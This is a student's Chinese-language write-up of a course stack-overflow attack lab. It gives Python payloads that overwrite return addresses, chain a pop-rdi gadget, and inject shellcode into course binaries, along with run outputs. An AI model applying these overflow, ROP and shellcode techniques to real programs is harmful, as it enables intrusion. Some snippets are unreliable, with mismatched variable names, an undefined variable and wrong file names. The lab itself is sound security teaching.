栈溢出攻击实验

胡家玺
2024201544

题目解决思路

Problem 1:

- **分析**:
  我先大致浏览了一下problem1的汇编代码，发现前面除了strcpy这个函数，其他都是一些共有的一些文件打开的函数，而且strcpy刚好是往一个地址里面写东西，可以作为攻击的工具。然后我发现func函数调用了strcpy，按照传参顺序，lea -0x8(%rbp),%rax。mov %rax,%rdi，我们知道-0x8(%rbp)这个地址就是strcpy的第一个参数，是让strcpy知道把字符串复制到这里。而根据函数调用时栈的状态，rbp+8的地方是返回地址，所以padding是16先覆盖，然后写入我们要跳转到的函数。首先这个函数肯定要满足要求可以打印结果，其次也能退出程序。我找到了fuc1这个函数，发现他把0x402004地方的东西打印了，我用gdb，x/s 0x402004发现里面就是结果，那我只需要让函数返回地址修改成func1的进入地址就行了。最后根据x86-64小端序，先写低位再写高位。
- **解决方案**: padding = b"A" * 16
  func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"

```
payload = padding + func1_address

with open("ans1.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans.txt")
```

- **结果**:

```
guligogo@DESKTOP-hujiaxi:~/attack-lab-jiaxihu0419$ ./problem1 ans1.txt
Do you like ICS?
Yes!I like ICS!
```

Problem 2:

- **分析**:
  先找到特殊的func2，fun，fuc这些函数。我们看到func2里面有exit语句，就是退出程序，可能是我们要使用的工具函数。然后浏览func2的逻辑，发现他是一个分支语句，两条分支分会别输出两个结果，同样用gbd查看， # 40203b <_IO_stdin_used+0x3b>这个地方存的是结果，跳转到这里需要rdi里面的值等于0x3f8，但是看了其他函数好像没有给rdi赋值的，并且就算有，在返回时也会变成caller的rdi。但是我发现助教给了一个函数叫poprdi，分析逻辑，就是让rdi接受栈顶的值，所以我们可以将返回地址变成这一行的地址，再让这个地址上面放上0x3f8，然后pop完之后rsp-8，所以在0x3f8上面再放上func2的进入地址就好了。
  下面我们就寻找应该写在哪里，一般就是cpy，gets这些函数会往地址里写东西，找到func里面有memcpy，-0x8(%rbp),%rax，所以跟problem差不多，padding也是16，再注意一下小端序就好了。
- **解决方案**: padding = b"A" * 16
  pop_rdi = b'\xc7\x12\x40\x00\x00\x00\x00\x00'
  rdi = b'\xf8\x03\x00\x00\x00\x00\x00\x00'
  func2_address = b'\x16\x12\x40\x00\x00\x00\x00\x00'

```
payload = padding + pop_rdi + rdi + func2_address
with open("ans2.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans2.txt")
```

- **结果**:

```
guligogo@DESKTOP-hujiaxi:~/attack-lab-jiaxihu0419$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes!I like ICS!
```

Problem 3:

- **分析**:
  readme说很难，我就先大概翻了翻，看到func1里面有几串奇怪的长数字，最后输出了。我就先让ai帮我把他们拼起来，他告诉我就是Your lucky number is 114。但要想put这些，　　cmpl　$0x72,-0x44(%rbp)必须要经过以上这个判定，还是让我给rdi赋值。但是这里没有给我poprdi函数，不过problem3没有限制，可以在栈上运行代码，mov rdi, 0x72把这个的机器码放进去，完成第一步。同样，我们看哪里可以让我们在栈里面写东西，我们发现func函数里有memcpy，并且在lea　-0x20(%rbp),%rax这个地方开始写，所以我们要从这里开始。但是要想执行栈里面的代码，就得让rip从代码段跑到栈的地方。但是我看当时func里面rsp先减了0x30，然后我就不太懂，我问ai，ai说会一步步滑过去。然后我看到了jum——xs函数，　　addq　$0x10,-0x8(%rbp)这里保存完之后，给rsp加了0x10，这样就对的上了。所以我就要先输入那个指令的代码，到时候jump会跳回来，但是我要保证先执行jump函数，所以jump函数要覆盖在ret那个地方，也就是输入的最后面。那中间部分就是callfunc1的机器码，因为此时rip被我们调了，不会按照正常执行了，所以jump函数的ret我们用不了，不能直接填地址到栈里，只能填代码。然后计算一下，剩下的填上padding，最后是jump的入口就好了。
- **解决方案**：payload是什么，即你的python代码or其他能体现你payload信息的代码/图片
  #让rdi里获得栈上的值的语句（让ai转化后的机器码）
  mov_rdi = b"\x48\xc7\xc7\x72\x00\x00\x00" + \
  　　b"\x48\xc7\xc0\x16\x12\x40\x00" + \
  　　b"\xff\xd0"

```
len = 40 - len(shellcode)
padding = b"A" * len

。
jmp_xs_addr = b"\x34\x13\x40\x00\x00\x00\x00\x00"

payload = mov_rd + padding + jmp_xs_addr

with open("ans3.txt", "wb") as f:
    f.write(payload)

print("Payload written to ans2.txt")
```

- **结果**:

```
guligogo@DESKTOP-hujiaxi:~/attack-lab-jiaxihu0419$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

Problem 4:

- **分析**:
  mov　%fs:0x28,%rax
  call　10d0 __stack_chk_fail@plt
  金丝雀保护是通过这个实现的。
  然后main函数和func就是负责交互，但是好像对我的输入没有判定，只是在最后一个数字的时候，cmpl $0xffffffff必须要是-1，如果是的话就可以跳到func1，然后通过。
- **解决方案**：无代码
- **结果**:

```
hi please tell me what is your name?
guligogo
hi! do you like ics?
yes
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

思考与总结

对比bomblab的汇编，attack还是比较简单的，但是练习多了就会有一种直觉，最后要攻击到的函数的后面要有exit，用这个方法也可以很快的找到我要使用哪个函数捣乱，其次就是一些strcpy，gets等一些函数是我攻击的工具，要多注意。

参考资料

无